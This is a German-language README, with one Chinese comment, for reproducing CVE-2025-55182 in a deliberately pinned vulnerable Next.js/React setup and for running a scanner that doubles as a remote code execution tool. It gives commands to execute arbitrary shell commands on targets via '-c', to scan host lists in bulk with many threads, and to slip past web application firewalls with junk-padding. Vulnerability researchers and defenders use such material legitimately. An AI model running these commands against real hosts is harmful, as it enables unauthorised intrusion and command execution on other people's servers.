
CVE-2025-55182 Reproduktionsumgebung und RCE-Echo-poc
| Komponente | Empfohlene Version für die Reproduktion | Verwundbarer Versionsbereich |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) und höher |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 oder 19.2.0 | 19.0.0 bis 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 bis 19.2.0 |
Installation der älteren Version erzwingen
cd cve-2025-55182-target
npm install --force
Abhängigkeitsversionen überprüfen
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
Solange die Liste der Top-Level-Abhängigkeiten [email protected] und [email protected] anzeigt, ist die Umgebung erfolgreich im verwundbaren Zustand fixiert; Warnungen und Fehlercodes an dieser Stelle können ignoriert werden.
Erstellen:
npm run build
Ausführen:
npm start
Der Server lauscht auf http://localhost:3000. Die Umgebung ist eingerichtet und die Verifizierung der Schwachstelle kann beginnen.
Schwachstellenerkennung/-scan:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Ein Kommandozeilen-Tool zur Erkennung von CVE-2025-55182 und CVE-2025-66478 in Next.js-Anwendungen, die React Server Components verwenden.
Technische Details zur Schwachstelle und zur Erkennungsmethodik finden Sie in unserem Blogbeitrag: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
Standardmäßig sendet der Scanner eine präparierte Multipart-POST-Anfrage mit einem RCE-Proof-of-Concept-Payload, der eine deterministische mathematische Operation ausführt (41*271 = 11111). Verwundbare Hosts geben das Ergebnis im X-Action-Redirect-Antwortheader als /login?a=11111 zurück.
Der Scanner testet zuerst den Root-Pfad. Ist dieser nicht verwundbar, folgt er Redirects auf demselben Host (z. B. / zu /en/) und testet das Redirect-Ziel. Cross-Origin-Redirects werden nicht verfolgt.
Das Flag --safe-check verwendet eine alternative Erkennungsmethode, die auf Side-Channel-Indikatoren basiert (500-Statuscode mit spezifischem Fehler-Digest), ohne Code auf dem Ziel auszuführen. Verwenden Sie diesen Modus, wenn keine RCE-Ausführung gewünscht ist.
Das Flag --waf-bypass stellt dem Multipart-Anfragetext zufällige Junk-Daten voran. Dies kann helfen, die WAF-Inhaltsprüfung zu umgehen, die nur den ersten Teil des Anfragetexts analysiert. Die Standardgröße beträgt 128 KB und kann über --waf-bypass-size konfiguriert werden. Wenn der WAF-Bypass aktiviert ist, wird das Timeout automatisch auf 20 Sekunden erhöht (sofern nicht explizit gesetzt).
Das Flag --windows wechselt den Payload für Ziele, die unter Windows laufen, von der Unix-Shell (echo $((41*271))) zu PowerShell (powershell -c "41*271").
pip install -r requirements.txt
Einzelnen Host scannen:
python3 scanner.py -u https://example.com
Liste von Hosts scannen:
python3 scanner.py -l hosts.txt
Mit mehreren Threads scannen und Ergebnisse speichern:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Mit benutzerdefinierten Headern scannen:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Sichere Side-Channel-Erkennung verwenden:
python3 scanner.py -u https://example.com --safe-check
Windows-Ziele scannen:
python3 scanner.py -u https://example.com --windows
Mit WAF-Bypass scannen:
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Single URL to check
-c, --cmd Command to execute
-l, --list File containing hosts (one per line)
-t, --threads Number of concurrent threads (default: 10)
--timeout Request timeout in seconds (default: 10)
-o, --output Output file for results (JSON)
--all-results Save all results, not just vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H, --header Custom header (can be used multiple times)
-v, --verbose Show response details for vulnerable hosts
-q, --quiet Only output vulnerable hosts
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)
Der RCE-PoC wurde ursprünglich von @maple3142 veröffentlicht -- wir sind unglaublich dankbar für ihre Arbeit bei der Veröffentlichung eines funktionierenden PoC.
Dieses Tool wurde ursprünglich als sichere Methode zur Erkennung der RCE entwickelt. Diese Funktionalität ist weiterhin über --safe-check, den Modus „sichere Erkennung“, verfügbar.
Die Ergebnisse werden im Terminal ausgegeben. Bei Verwendung von -o werden verwundbare Hosts in einer JSON-Datei gespeichert, die die vollständige HTTP-Anfrage und -Antwort zur Verifizierung enthält.